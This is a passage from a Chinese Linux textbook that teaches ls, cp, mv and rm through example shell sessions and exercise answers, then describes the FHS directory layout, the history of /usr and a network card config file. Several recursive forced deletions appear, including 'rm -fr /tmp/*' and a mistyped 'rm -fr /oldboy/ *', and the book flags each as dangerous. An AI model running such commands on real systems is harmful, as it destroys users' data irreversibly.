drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir1

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir2

drwxr-xr-x 2 root root 4096 2015-10-25 11:13 dir3

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file1.txt

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file2.txt

-rw-r--r-- 1 root root    0 2015-10-25 11:13 file3.txt

#<==注意：这里的别名是临时生效的，如果希望永久生效则需要将别名放到环境变量的配置里才可以。




 
范例5-30：查找最近更新过的文件。
 
在工作中，我们经常需要查看一个包含很多文件的目录，找出最近更新过但不知道具体文件名的文件，这时可以用ls-lrt或者ls-rt这个组合命令，示例代码如下：
 


[root@oldboy test]# touch /etc/test.txt #<==创建一个新文件，假设不知道名字，你如何

　　　　　　　　　　　　　　　　　　　　　　　　　　快速找到它？

[root@oldboy test]# ls -lrt /etc/     　 #<==-t是按时间排序，-r是倒序，即按时间倒序

　　　　　　　　　　　　　　　　　　　　　　　　　　排序。

...省略若干文件行...

-rw-r--r--  1 root root     301 May 22 10:17 mtab

drwxr-xr-x  9 root root    4096 May 22 10:22 sysconfig

-rw-r--r--  1 root root       0 May 22 20:55 test.txt

#<==不用翻屏回查，最后一屏的最后一行就是我们需要查找的文件。如果直接定位文件还可以用如下命令。

[root@oldboy test]# ls -lrt /etc|tail -1  #<==tail命令后面会讲。

-rw-r--r--  1 root root       0 May 22 20:55 test.txt




 
【ls命令输出内容的属性解读】
 
使用ls命令之后，通常会有类似如下的输出内容：
 


[root@oldboy test]# ls -lhi  #<==-l参数前面已经详细讲解过了，-h参数的作用是将文件的

　　　　　　　　　　　　　　　　　　　　大小以人类可读的方式显示，像下面的4.0K你就能很容易

　　　　　　　　　　　　　　　　　　　　知道文件的大小，-i参数的作用是显示文件的Inode值。

total 12K

97063 drwxr-xr-x 3 root root 4.0K May 22 20:48　dir1

97064 drwxr-xr-x 2 root root 4.0K May 22 11:51　dir2

97065 drwxr-xr-x 2 root root 4.0K May 22 11:51　dir3

97060 -rw-r--r-- 1 root root    0 May 22 11:51　file1.txt

97061 -rw-r--r-- 1 root root    0 May 22 11:51　file2.txt

97062 -rw-r--r-- 1 root root    0 May 22 11:51　file3.txt




 
上述命令结果中各列的含义如下。
 
第一列：Inode索引节点编号。
 
第二列：文件类型及权限（第一个字符为类型，后9个字符为文件权限符号）。
 
第三列：硬链接个数（详情请参看ln命令（8.2.3节）的讲解）。
 
第四列：文件或目录所属的用户（属主）。
 
第五列：文件或目录所属的组。
 
第六列：文件或目录的大小。
 
第七、八、九列：文件或目录的修改时间。
 
第十列：实际的文件名或目录名。
 
详细解释见图5-3。
 
【ls输出的文件属性举例说明】
 
下面以oldboy文件为例说明输出文件的属性细节（具体见表5-10），具体列的内容请参考图5-3。
 


1736707 -rw-r--r-- 1  root root   35  Oct 28 11:29　oldboy




 
 
 [image: ] 


图5-3　ls命令输出内容的属性解读
 
表5-10　ls输出的文件属性细节说明

 
 [image: ]

 
5.2.7　cp：复制文件或目录
 
【命令星级】　　★★★★★
 
【功能说明】
 
cp命令可以理解为英文单词copy的缩写，其功能为复制文件或目录。
 
【语法格式】
 


cp  [option]  [source]  [dest]

cp  [选项]    [源文件]  [目标文件]




 
[image: ]说明：cp命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表5-11针对cp命令的参数选项进行了说明。
 
表5-11　cp命令的参数选项及说明

 
 [image: ]

 
【应用范例】
 
范例5-31：无参数和带参数-a的比较。
 


[root@oldboy test]# pwd

/test 

[root@oldboy test]# ll -h #<==查看当前文件的时间属性，读者以自己的系统时间为准。

total 12K

drwxr-xr-x 3 root root 4.0K Nov  3 20:15 dir1

drwxr-xr-x 2 root root 4.0K Nov  3 20:15 dir2

drwxr-xr-x 2 root root 4.0K Nov  3 20:15 dir3

-rw-r--r-- 1 root root    0 Nov  3 20:14 file1.txt

-rw-r--r-- 1 root root    0 Nov  3 20:14 file2.txt

-rw-r--r-- 1 root root    0 Nov  3 20:14 file3.txt

[root@oldboy test]# cp file1.txt file4.txt    #<==复制file1.txt为file4.txt。

[root@oldboy test]# cp -a file1.txt file5.txt #<==使用-a参数复制file1.txt为file5.txt。

[root@oldboy test]# ll -h #<==再次查看当前文件的时间属性。

total 12K

drwxr-xr-x 3 root root 4.0K Nov  3 20:15 dir1

drwxr-xr-x 2 root root 4.0K Nov  3 20:15 dir2

drwxr-xr-x 2 root root 4.0K Nov  3 20:15 dir3

-rw-r--r-- 1 root root    0 Nov  3 20:14 file1.txt  #<==此行是源文件。

-rw-r--r-- 1 root root    0 Nov  3 20:14 file2.txt

-rw-r--r-- 1 root root    0 Nov  3 20:14 file3.txt

-rw-r--r-- 1 root root    0 Nov  3 20:18 file4.txt  #<==此行是未使用任何参数。

-rw-r--r-- 1 root root    0 Nov  3 20:14 file5.txt  #<==此行是使用-a参数进行复制，属性不变。




 
可以发现，使用-a参数进行复制时，文件的时间属性没有改变，-a参数的功能包含-p参数保持文件的属性功能。
 
范例5-32：使用-i参数的例子
 


[root@oldboy test]# cp -i file1.txt file5.txt #<==使用-i参数复制文件，会提示是否覆盖文件。

cp: overwrite `file5.txt'? 

[root@oldboy test]# cp file1.txt file5.txt    #<==不使用-i参数结果是一样的，为什么呢？

cp: overwrite `file5.txt'?

[root@oldboy test]# alias cp                 #<==原因是系统为cp命令默认设置了别名。

alias cp='cp -i'




 
CentOS系统默认为cp命令设置了别名，即增加了-i的参数。但是在Shell脚本中执行cp命令时，没有-i参数时并不会询问是否覆盖。这是因为命令行和Shell脚本执行时的环境变量不同。不过在脚本中一般使用命令的全路径。
 
范例5-33：使用-r参数复制目录。
 


[root@oldboy test]# cp dir1 dir2/    #<==复制dir1到dir2，但结果显示跳过目录dir1。

cp: omitting directory `dir1'

[root@oldboy test]# cp -r dir1 dir2/ #<==若使用-r参数则复制成功。 

[root@oldboy test]# tree dir2        #<==查看复制结果。

dir2

└── dir1

    └── sub1

        └── test

3 directories, 0 files 

#<==提示：使用-a参数也可以达到相同的效果，因为-a参数相当于“dpr”三个参数。




 
范例5-34：cp覆盖文件不提示是否覆盖的几种方法。
 
解题思路：屏蔽系统默认的对应的命令别名。
 
第一种方法，使用命令全路径，示例代码如下：
 


[root@oldboy test]# cp file1.txt file2.txt 

cp: overwrite `file2.txt'? y  #<==提示要输入y以确认覆盖，输入n则为不覆盖。

[root@oldboy test]# which cp  #<==查看cp的系统别名。

alias cp='cp -i'

        /bin/cp  #<==CentOS7系统里是/usr/bin/cp，为了兼容CentOS6，将/bin指向了/usr

                    /bin/cp。

[root@oldboy test]# /bin/cp file1.txt file2.txt   #<==使用cp命令的绝对路径，即可屏蔽别名。




 
第二种方法，命令开头使用反斜线\，示例代码如下：
 


[root@oldboy test]# \cp file1.txt file2.txt #<==使用“\”屏蔽系统别名。

[root@oldboy test]#  




 
第三种方法，取消cp的别名，但重启系统失效，示例代码如下：
 


[root@oldboy test]# unalias cp #<==alias设置别名，unalias取消别名，具体用法见对应

                                   章节的内容详解。

[root@oldboy test]# cp file1.txt file2.txt 

[root@oldboy test]#




 
第四种为杀鸡取卵的方法，用于开拓思路，不建议采用，示例代码如下：
 


[root@oldboy ~]# cat ~/.bashrc

# .bashrc

# User specific aliases and functions

alias rm='rm -i'

alias cp='cp -i' #<==编辑这个文件，注释掉本行，重启后生效。“.bashrc”这个文件在开机时会加载。

alias mv='mv -i'

# Source global definitions

if [ -f /etc/bashrc ]; then

        . /etc/bashrc

fi




 
范例5-35：快速备份文件案例。
 
通常我们备份文件时会使用下面的格式：
 


[root@oldboy ~]# cp /etc/ssh/sshd_config /etc/ssh/sshd_config.ori

#<==观察上面的格式，我们可以发现有一部分路径重复了。因此有了下面的快捷写法，使用了“{}”的

　　 用法，两种方法是等效的。

[root@oldboy ~]# cp /etc/ssh/sshd_config{,.ori}

#<==这种方法的原理是bash对大括号的展开操作，/etc/ssh/sshd_config{,.ori}展开成/etc/

　　 ssh/sshd_config /etc/ssh/sshd_config.ori再传给cp命令。




 
5.2.8　mv：移动或重命名文件
 
【命令星级】　　★★★★★
 
【功能说明】
 
mv命令可以理解为英文单词move的缩写，其功能是移动或重命名文件（move/rename files）。
 
【语法格式】
 


mv  [option]  [source]  [dest] 

mv  [选项]    [源文件]  [目标文件]




 
[image: ]说明：mv命令以及后面的选项和文件，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表5-12针对mv命令的参数选项进行了说明。
 
表5-12　mv命令的参数选项及说明

 
 [image: ]

 

 [image: ]

 
【应用范例】
 
范例5-36：对文件改名的例子。
 


[root@oldboy test]# ls

dir1  dir3  file1.txt  file3.txt  file5.txt

dir2  dir4  file2.txt  file4.txt  file6.txt

[root@oldboy test]# mv file6.txt file7.txt #<==若file7.txt不存在，则将file6.txt

                                               重命名为file7.txt。

[root@oldboy test]# ls

dir1  dir3  file1.txt  file3.txt  file5.txt

dir2  dir4  file2.txt  file4.txt  file7.txt

[root@oldboy test]# mv file5.txt file7.txt #<==若file7.txt存在，则将file5.txt覆盖

                                                   file7.txt。

mv: overwrite `file7.txt'? y #<==由于系统默认为mv设置了别名，因此会提示是否覆盖。

[root@oldboy test]# alias mv 

alias mv='mv -i' #<==-i参数的功能是若目标文件已经存在，则会询问是否覆盖。

[root@oldboy test]# ls

dir1  dir2  dir3  dir4  file1.txt  file2.txt  file3.txt  file4.txt  file7.txt

[root@oldboy test]# \mv file4.txt file7.txt #<==若是使用“\”屏蔽系统别名，就不会询问

                                                是否覆盖了。

[root@oldboy test]# ls

dir1  dir2  dir3  dir4  file1.txt  file2.txt  file3.txt  file7.txt

[root@oldboy test]# 




 
范例5-37：移动文件的例子。
 
移动单个文件的示例代码如下：
 


[root@oldboy test]# ls dir1/

sub1

[root@oldboy test]# mv file7.txt dir1/ #<==dir1为目录且该目录已存在，则移动file7.txt到

                                           dir1下，若dir1不存在，则重命名为dir1的普通文件。

[root@oldboy test]# ls dir1/

file7.txt  sub1 

移动多个文件：

[root@oldboy test]# mv file1.txt file2.txt dir1/  #<==第一种方式：多个文件在前，目录在后。

[root@oldboy test]# ls dir1/

file1.txt  file2.txt  file7.txt  sub1 

[root@oldboy test]# mv dir1/file* . #<==还原试验环境，“file*”匹配所有以file开头的文件




 
范例5-38：将源和目标调换移动文件到目录（-t参数）。
 


[root@oldboy test]# ls

dir1  dir2  dir3  dir4  file1.txt  file2.txt  file3.txt  file7.txt

[root@oldboy test]# mv -t dir1/ file1.txt  file2.txt  file3.txt  file7.txt

    #<==使用-t参数将源和目标进行调换，-t后接目录，最后是要移动的文件。

[root@oldboy test]# ls dir1/

file1.txt  file2.txt  file3.txt  file7.txt  sub1




 
范例5-39：移动目录的例子。
 


[root@oldboy test]# ls

dir1  dir2  dir3  dir4

[root@oldboy test]# mv dir1 dir5 #<==目录dir5不存在，将目录dir1改名为dir5

[root@oldboy test]# ls

dir2  dir3  dir4  dir5

[root@oldboy test]# ls dir5/

file1.txt  file2.txt  file3.txt  file7.txt  sub1 

[root@oldboy test]# mv dir2 dir5 #<==若存在目录dir5，则将dir2移动到dir5中

[root@oldboy test]# ls dir5/    

dir2  file1.txt  file2.txt  file3.txt  file7.txt  sub1

[root@oldboy test]# mv dir3/ dir5/ #<==若在源目录结尾加“/”则不影响结果，但为了规范

                                       和简单起见，建议不加“/”。

[root@oldboy test]# ls

dir4  dir5

[root@oldboy test]# ls dir5/

dir2  dir3  file1.txt  file2.txt  file3.txt  file7.txt  sub1




 
5.2.9　rm：删除文件或目录
 
【命令星级】　　★★★★★
 
【功能说明】
 
rm命令可以理解为英文单词remove的缩写，其功能是删除一个或多个文件或目录（remove files or directories）。这是Linux系统里最危险的命令之一，请慎重使用。
 
【语法格式】
 


rm  [option]  [file]

rm  [选项]    [<文件或目录>] 




 
[image: ]说明：rm命令以及后面的选项和文件目录，每个元素之间都至少要有一个空格。
 
【选项说明】
 
表5-13针对rm命令的参数选项进行了说明。
 
表5-13　rm命令的参数选项及说明

 
 [image: ]

 

 [image: ]

 
【应用范例】
 
示例准备代码如下：
 


[root@oldboy ~]# mkdir -p /data/{dir1,dir2,dir3} #<==使用绝对路径创建目录。

[root@oldboy ~]# touch /data/{file1.txt,file2.txt,file3.txt}

[root@oldboy ~]# tree /data/                                

/data/

├── dir1

├── dir2

├── dir3

├── file1.txt

├── file2.txt

└── file3.txt

3 directories, 3 files

[root@oldboy ~]# cd /data/

[root@oldboy data]# ls

dir1  dir2  dir3  file1.txt  file2.txt  file3.txt




 
范例5-40：不带参数删除的实践示例。
 


[root@oldboy data]# rm file3.txt 

rm: remove regular empty file `file3.txt'? n

#<==若输入y就会删除文件，若不想删除则输入n。

[root@oldboy data]# alias rm

alias rm='rm -i'  #<==上面会出现提示的原因是rm被设置了系统别名，默认使用了-i参数。

#<==屏蔽别名的方法已经在5.2.7节的cp命令讲解中介绍过了，这里不再赘述。




 
范例5-41：强制删除的实践示例。
 


[root@oldboy data]# rm -f file3.txt #<==-f参数强制删除，不提示。

[root@oldboy data]# ls

dir1  dir2  dir3  file1.txt  file2.txt




 
[image: ]提示：使用-f参数强制删除会直接覆盖系统定义的别名。
 
范例5-42：递归删除的实践示例。
 


[root@oldboy data]# mkdir -p dir1/a/b

[root@oldboy data]# tree dir1/

dir1/

└── a

    └── b

2 directories, 0 files 

[root@oldboy data]# rm dir1    #<==若无参数就会无法删除目录。

rm: cannot remove `dir1': Is a directory

[root@oldboy data]# rm -r dir1 #<==使用-r可以递归删除，但会有确认提示，可以使用-f

                                   进行强制删除。

rm: descend into directory `dir1'? y

rm: descend into directory `dir1/a'? y

rm: remove directory `dir1/a/b'? n

#<==备注：

加上-f参数就不需要一一确认了，例如rm -rf dir1。

若删除的对象不是目录（文件）就不要再使用-r参数了，这样做会很危险，也没有必要。




 
【有关删除的实践经验分享】
 
常在河边走，哪有不湿鞋！但如果能遵守下面的要领就可以少湿鞋甚至不湿鞋！
 
1）用mv替代rm，不要急着删除，而是先移动到回收站“/tmp”。
 
2）删除前请务必做好备份，最好是异机备份，出现问题随时可还原。
 
3）如果非要删除，则请用find替代rm，包括通过系统定时任务等清理文件方法。
 
下面是在生产环境中删除文件或目录的较安全的方法，命令如下：
 


find . -type f -name "*.txt" -mtime +7|xargs rm –f  #<==与xargs搭配使用，具体用

                                                        法见find命令的详细讲解。

find . -type f -mtime +7 -exec rm {} \;             #<==使用find的exec。




 
4）如果非要通过rm命令删除，则请先切换目录再删，能不使用通配符的就尽量不用通配符。对文件的删除禁止使用“rm-rf文件名”方法，因为“rm-rf”误删目录时并不会有提示，该操作非常危险。最多使用“rm-f文件名”方法，推荐使用“rm文件名”方法。
 


[root@oldboy /]# cd /oldboy/

[root@oldboy oldboy]# rm -f test1 test2




 
5）如果非要使用通配符，则请按下面的方法进行：
 


[root@oldboy /]# cd /oldboy/

[root@oldboy oldboy]# rm -f ./*  #<==加上“./”。

#<==禁止使用rm -fr /oldboy/*，这个命令如果多了空格可能会带来灾难。

[root@oldboy /]# rm -fr /oldboy/*

#<==“*”的前面如果不小心多了空格，则会删除当前目录的所有内容，例如下面的命令。

[root@oldboy /]# rm -fr /oldboy/ * #<==会把当前目录（根）下面的目录全部删除。




 
6）额外再补充一点，要慎用“rsync--delete”。
 
多数情况下，删除数据后是可以恢复的（例如，可通过恢复工具ext3grep来实现），但一定会影响业务，例如，造成停机，或者数据丢失了较长时间，用户访问不了等。未雨绸缪永远比发生了再解决好得多。
 
更多内容可参考老男孩博客：http://oldboy.blog.51cto.com/2561410/1687300

5.3　Linux文件及目录命令核心知识的试题及详解
 
本节将要讲解的试题是对读者阅读本章内容后的一个大考察，建议先不要看答案，看能否在Linux命令行下自行解答，然后再与参考答案进行对比，并深入了解题中遇到的相关Linux核心知识和操作规范。
 
5.3.1　有关cd/pwd/mkdir/ls命令试题
 
[考题]切换到“/tmp”目录下，查看当前的工作位置，同时创建data1、data2、data3共3个目录。
 
[参考答案]
 


[root@oldboy ~]# cd /tmp        #<==切换到/tmp目录。

[root@oldboy tmp]# pwd          #<==查看当前的工作位置。

/tmp

[root@oldboy tmp]# mkdir data1 data2 data3    #<==创建data1、data2、data3共3个目录。

[root@oldboy tmp]# ls           #<==操作后查看创建结果，这是个好的习惯。

data1  data2  data3  yum.log  yum_save_tx-2018-03-08-11-04z94H32.yumtx




 
[重点解析]
 
创建目录可以一次性到位，且创建多级目录一般要加-p参数，以防止出错，示例代码如下：
 


[root@oldboy tmp]# cd ~          #<==切换到当前用户家目录下。

[root@oldboy ~]# rm -fr /tmp/*   #<==删除/tmp/所有内容，“*”代表所有，此命令很危险。

[root@oldboy ~]# mkdir /tmp/data{1,2,3} -p    #<==利用大括号批量创建，加-p递归创建，

                                                  {1,2,3}等同于{1..3}。

[root@oldboy ~]# ls /tmp         #<==接路径直接查看指定目录下的内容。

data1  data2  data3




 
5.3.2　有关touch/tree/file命令试题
 
[考题]接5.3.1节的考题，分别在data1、data2、data3目录下创建3个文件，名字分别为oldboy1、oldboy2、oldboy3，然后查看/tmp目录的整个目录结构情况，最后检查下data1和oldboy1两个对象的属性。
 
[参考答案]
 
解答这道考题通常最容易想到的可能是分别在每个目录下处理的笨办法，其实还可以采用另一种快速的方法，注意，此考题依赖5.3.1节考题的结果，解题代码如下：
 


[root@oldboy ~]# touch /tmp/data{1..3}/oldboy{1..3}     #<==一步到位的答案。

[root@oldboy ~]# tree /tmp   

-bash: tree: command not found  #<==tree命令没有安装的提示，前文tree命令中已经讲解过了。

[root@oldboy ~]# yum install tree -y  #<==安装tree命令，需要系统能够上网才行。

[root@oldboy ~]# tree /tmp            #<==tree命令显示目录结构的结果。

/tmp

├── data1

│   ├── oldboy1

│   ├── oldboy2

│   └── oldboy3

├── data2

│   ├── oldboy1

│   ├── oldboy2

│   └── oldboy3

└── data3

    ├── oldboy1

    ├── oldboy2

    └── oldboy3



3 directories, 9 files

[root@oldboy ~]# ls -l /tmp     #<==加-l参数，查看目录下对象的属性。

total 12

drwxr-xr-x. 2 root root 4096 Mar 10 17:11 data1  #<==“d”开头表示data1是目录。

drwxr-xr-x. 2 root root 4096 Mar 10 17:11 data2

drwxr-xr-x. 2 root root 4096 Mar 10 17:11 data3

[root@oldboy ~]# ls -l /tmp/data1/

total 0

-rw-r--r--. 1 root root 0 Mar 10 17:11 oldboy1 #<==“-”开头表示oldboy1是文件。

-rw-r--r--. 1 root root 0 Mar 10 17:11 oldboy2

-rw-r--r--. 1 root root 0 Mar 10 17:11 oldboy3




 
[重点解析]
 
·大括号{}的使用。

·ls-l命令的使用，以及通过属性开头的符号区分目录和文件知识，“-”表示文件，“d”表示目录。
 
5.3.3　有关cp命令的试题
 
[考题]将/etc/hosts文件复制到/tmp/data1下，然后将data1目录复制到/opt下。
 
[参考答案]
 


[root@oldboy ~]# cp /etc/hosts /tmp/data1/ #<==将/etc/hosts文件复制到/tmp/data1下。

[root@oldboy tmp]# ls /tmp/data1

hosts  oldboy1  oldboy2  oldboy3           #<==复制结果。

[root@oldboy ~]# cd /tmp

[root@oldboy tmp]# cp -r data1 /opt/       #<==将data1目录复制到/opt下，注意-r。

[root@oldboy tmp]# tree /opt

/opt

├── data1    #<==复制结果。

│   ├── hosts

│   ├── oldboy1

│   ├── oldboy2

│   └── oldboy3

└── rh

2 directories, 4 files




 
[重点解析]
 
cp功能表示复制文件或目录，但默认不加参数则不能复制目录。如果要复制目录则必须使用-r或者-a参数，以下参数在前文讲解命名时已经讲解过，请读者重点掌握。
 


-a  相当于-pdr，复制目录也可以使用-a参数。

-r  递归，复制目录，目录及其子孙后代。

-p  复制文件同时保持文件属性不变。




 
5.3.4　有关mv/rm命令的试题
 
[考题]将/tmp/data1目录移动到/root目录下，然后删除/opt/data1目录下的hosts文件，最后删除/opt下的data1目录。
 
[参考答案]
 


[root@oldboy tmp]# cd /tmp    #<==mv是一个很危险的命令，操作前最好进入到对象的上一层次操作。

[root@oldboy tmp]# mv data1 /root     #<==将/tmp/data1目录移动到/root目录下。

[root@oldboy tmp]# cd /opt/data1      #<==rm是一个很危险的命令，操作前最好进入到对象的

                                          上一层操作。

[root@oldboy data1]# rm hosts         #<==删除前请确认。

rm: remove regular file `hosts'? yes  #<==输入yes删除。

[root@oldboy data1]# ls

oldboy1  oldboy2  oldboy3             #<==hosts已删。

[root@oldboy data1]# rm -f oldboy1    #<==可以加-f直接强制删除，不提示。

[root@oldboy data1]# ls

oldboy2  oldboy3                      #<==oldboy1已删。

[root@oldboy data1]# cd ..            #<==切换到上一级目录，这点在cd命令章节已讲解过。

[root@oldboy opt]# pwd                #<==确认当前所在的位置，防止误删。

/opt

[root@oldboy opt]# ls                 #<==确认对象是否存在。

data1  rh

[root@oldboy opt]# rm -fr data1       #<==强制删除目录和目录下的所有文件，不提示（危险

                                          命令）。

[root@oldboy opt]# ls

rh




 
[重点解析]
 
·操作rm、mv命令前，最好对操作的对象先做好备份。

·操作rm、mv命令最好切换到指定的目录，且最好不要在根下直接操作。

·这里的data1与/data1/是没有区别的，都表示目录及目录下的所有内容，其他软件场景可能会有区别。

·删除目录一般使用-rf参数，删除前务必备份，以防误删。

·企业里替代rm以及使用mv的注意事项请参见5.2.9节。
5.4　有关Linux命令的思维
 
学习Linux命令，仅仅停留在会操作的层面是远远不够的，还要注意操作中可能会遇到的“坑”和解决手段，Linux运维是企业中最关键的岗位，错按一个回车就可以让数据丢失、服务器崩溃，因此，专业规范的操作是优秀的运维人员必须要掌握的基本技术。
5.5　本章相关问题
 
分别默写出mkdir、ls、cp、rm命令的作用以及常用参数的功能，然后对照本书，检查是否真的记住了。
第6章　Linux目录文件与系统启动知识
 
6.1　Linux系统目录结构介绍

 
6.1.1　Linux与Windows目录结构对比
 
相信很多读者已经熟悉了Linux的目录结构，图6-1可以进一步帮助读者对比Windows和Linux这两个系统的结构，不太了解Linux系统目录结构的读者，通过图6-1也可快速理解。
 
Windows的目录形式为c：\windows\，路径分隔符是“\”（撬棍，反斜线），D、E等盘的目录结构与之类似。Linux的目录形式为/etc/hosts，路径分割符为“/”（斜线），Linux系统的一切目录都是从“/”根开始的。
 
6.1.2　Linux系统目录结构的基本特点
 
相较于Windows下的目录结构，可能会有读者在初次接触Linux的时候，觉得Linux的目录结构比较复杂，不像Windows视窗那样简单明了，从而感到很迷茫。
 
其实，Linux系统的目录结构同样也是很简单的，只是Linux系统的应用场景多为服务器应用且为字符界面应用，所以不像Windows系统视窗那样直观。但是，Linux系统的目录结构是很有规律的，图6-2所示的是Linux的目录结构最形象的比喻。
 
 
 [image: ] 


图6-1　Linux与Windows目录结构对比
 
从图6-2中可以看出，Linux系统的目录结构具有如下基本特点。
 
 
 [image: ] 


图6-2　Linux系统目录结构的特点
 
·一切从“根”开始，“/”是所有目录的起点（顶点）。

·Linux根下面的目录是一个有层次的树状结构。

·酷似一棵倒挂着的树。
 
除此之外，Windows系统目录与磁盘是强对应的，联系很紧密，例如，C盘下的目录文件不可能与D盘下的目录有关联或者交集。而Linux系统目录则与此不同，Linux系统的目录与磁盘等设备是不直接关联的，每个目录都可以关联（官称：挂载）在不同的设备（例如磁盘）上，例如，看似有包含关系的几个目录/、/etc、/boot、/var很可能是分布在不同的分区或磁盘上。
 
在逻辑上，所有的目录（包括目录下的子目录）都在最高级别的目录“/”下，根（“/”）目录是所有目录的起始点（顶点），而实际上访问目录/、/etc、/boot、/var时，可能是在访问完全不同的分区和磁盘，图6-3所示的是Linux目录结构和设备挂载的关系图。
 
Linux下面的设备（磁盘），如果不挂载，则是看不到入口的，就像没窗没门的监狱一样，是不能被正常使用的，如果要访问设备，就必须为设备开一个入口，这个入口就是挂载点，挂载点实质上就是一个目录，开入口的过程，就是将挂载点与磁盘设备相关联，即挂载。
 
 
 [image: ] 


图6-3　Linux中磁盘分区与目录的关系
 
6.1.3　Linux目录结构的特点小结
 
·Linux系统的所有目录都是一个有层次的倒立着的树状目录结构（倒挂树形结构），“/”根是所有目录的顶点，对于Linux的目录来说，一切从根开始。

·不同目录下的数据可以跨越不同的磁盘分区或不同的磁盘设备，设备可以随意挂载到任意目录上使用。

·所有的目录都是按照一定的类别有规律地进行组织和命名的。

·没有挂载到目录上的磁盘，相当于没有门和窗户的监狱，不能被使用。磁盘等设备需要挂载后才能正常使用。

·挂载点是磁盘访问的入口，是一个目录。

·相对路径与绝对路径具有如下关系：绝对路径是指以根为起始点的路径，例如/tmp、/opt；相对路径是指相对于非“/”路径的路径，即路径开头没有“/”斜线，例如etc/sysconfig、opt/tmp等，是相对于当前路径（执行pwd可查看）的路径。
 
[image: ]提示：老男孩的学习思路为“练习自己归纳总结的能力，把书由厚读薄”
6.2　Unix系统目录结构的历史典故
 
了解目录结构的历史典故，目的是让大家能够清晰地了解并记忆Linux的目录结构。在学习Linux时，为知识赋予一个有意义的故事，是减缓忘记的好方法。
 
1969年，Ken Thompson和Dennis Ritchie在小型机PDP-7上发明了Unix。1971年，他们将主机升级到了PDP-11，PDP主机如图6-4所示。
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图6-4　PDP主机
 
当时，他们使用了一种称为RK05的储存盘，盘的容量大约是1.5MB，如图6-5所示。
 
 
 [image: ] 


图6-5　1.5MB RK05硬盘和马路上的下水道井盖大小对比
 
由于硬盘的容量很小，操作系统存储盘存放的数据（根目录）却越来越大，因此没过多久一块盘就已经装不下数据了。于是，技术人员加上了第二盘RK05，并且做了规定，第一块盘专门用来存放系统相关的程序，第二块盘专门用来存放用户自己的程序，因此，后者挂载点的目录取名为/usr。也就是说，根目录“/”挂载在第一块盘上，“/usr”目录挂载在第二块盘上。除此之外，两块盘里面的其他目录结构是完全相同的，例如：第一块盘的目录（/bin、/sbin、/lib、/tmp...）都会在/usr目录下重新出现一次，下面列出实际目录重复的情况：
 


[root@oldboy ~]# ls -ld /bin /lib /sbin /tmp

lrwxrwxrwx.  1 root root    7 Jan 29 20:29 /bin -> usr/bin

lrwxrwxrwx.  1 root root    7 Jan 29 20:29 /lib -> usr/lib

lrwxrwxrwx.  1 root root    8 Jan 29 20:29 /sbin -> usr/sbin

drwxrwxrwt. 21 root root 4096 Jan 31 11:50 /tmp

[root@oldboy ~]# ls -ld /usr/bin/ /usr/lib /usr/sbin/ /usr/tmp/

dr-xr-xr-x.  2 root root 28672 Jan 29 23:26 /usr/bin/

dr-xr-xr-x. 29 root root  4096 Jan 29 20:30 /usr/lib

dr-xr-xr-x.  2 root root 12288 Jan 29 23:26 /usr/sbin/

drwxrwxrwt.  3 root root    18 Jan 31 10:30 /usr/tmp/




 
不久之后，第二块存储盘也满了，然后只好又加了第三盘RK05，挂载点的目录取名为/home，并且做了规定，/home用于存放用户的数据。
 
目录结构的起名和定义就如此延续，具体见表6-1。随着设备的发展，硬盘的容量越来越大，各个目录的含义也进一步得到了明确。
 
表6-1　Linux系统诞生之初的目录及其作用表
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6.3　Linux的目录结构详解
 
6.3.1　目录层次标准（FHS）
 
FHS的全称为Filesystem Hierarchy Standard，中文意思是目录层次标准，是Linux的目录规范标准。详情请参见http://www.pathname.com/fhs/。
 
FHS定义了两层规范，具体如下。
 
第一层是“/”目录下的各个目录应该存放什么样的文件数据，例如，/etc目录下放置的是系统的配置文件（比如，/etc/exports、/etc/hosts等），而/bin和/sbin下存放的则是程序及系统命令。
 
第二层是针对/usr（unix software resource或secondary hierarchy）和/var（variable data）这两个目录的子目录来定义的。例如，/var/log下放置的是系统日志文件等。
 
参考资料
 


http://www.pathname.com/fhs/

http://www.ibm.com/developerworks/linux/library/l-proc/index.html




 
6.3.2　根下目录结构详解
 
对于每一个Linux初学者来说，花费时间掌握Linux系统的目录结构知识是很有必要的。
 
当使用Linux系统的时候，如果执行“ls-l/”命令就会发现，在“/”下面包含了很多目录内容，比如etc、usr、var、bin等，而在这些目录里面，还会有更多的目录或文件，它们构成了一个树状的结构。
 
Linux系统目录结构的最顶端是“/”，称其为根目录，根（/）目录是Linux系统所有目录的起始点，所有的目录、文件、设备都在“/”之下，根（/）目录下的目录是一个树状结构，可以这么说，“/”就是Linux文件系统的组织者、领导者，通过tree命令，可以查看Linux的一级目录结构。示例代码如下：
 


[root@oldboy ~]# tree -L 1 / 

/

├── bin -> usr/bin

├── boot

├── dev

├── etc

├── home

├── lib -> usr/lib

├── lib64 -> usr/lib64

├── media

├── mnt

├── opt

├── proc

├── root

├── run

├── sbin -> usr/sbin

├── srv

├── sys

├── tmp

├── usr

└── var

19 directories, 0 files




 
为了便于大家学习，这里将这些常见的目录列成表格详细说明，具体见表6-2。
 
表6-2　根下的目录结构知识
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6.4　重要的Linux系统文件介绍
 
前面讲解的是根下一级目录的作用，在实际工作中，更重要的是一些具体的目录。这些都是Linux运维人员必须要熟记的。
 
6.4.1　/etc系统初始化及设置相关重要文件
 
1./etc/sysconfig/network-scripts/ifcfg-eth0：网卡配置文件
 
这是Linux系统第一块网卡的配置文件所在的路径，其中第一块网卡配置文件的结尾标识为eth0，第二块为eth1，以此类推。
 
当通过执行命令nmtui（CentOS6为setup）来修改网卡配置时，实际上就是在修改这个/etc/sysconfig/network-scripts/ifcfg-eth0文件，因此也可以通过直接编辑该文件的方式实现对网卡配置的更改（如图6-6所示）。
 
配置完网卡之后，可以通过重启网络服务（systemctl restart network）来使得所有网卡的配置文件生效，如果只需让某个单独的eth0网卡配置生效，则可以通过命令ifdown eth0&&ifup eth0（停掉及启动eth0网卡命令）来实现。
 
下面是网卡配置文件/etc/sysconfig/network-scripts/ifcfg-eth0的内容详解：
 


[root@oldboy ~]# cat /etc/sysconfig/network-scripts/ifcfg-eth0 

TYPE=Ethernet         #<==上网类型，目前基本上都是以太网。

PROXY_METHOD=none

BROWSER_ONLY=no

BOOTPROTO=none        #<==启动协议，获取配置方式，有none|bootp|dhcp三个选项。

DEFROUTE=yes          #<==使用默认路由。

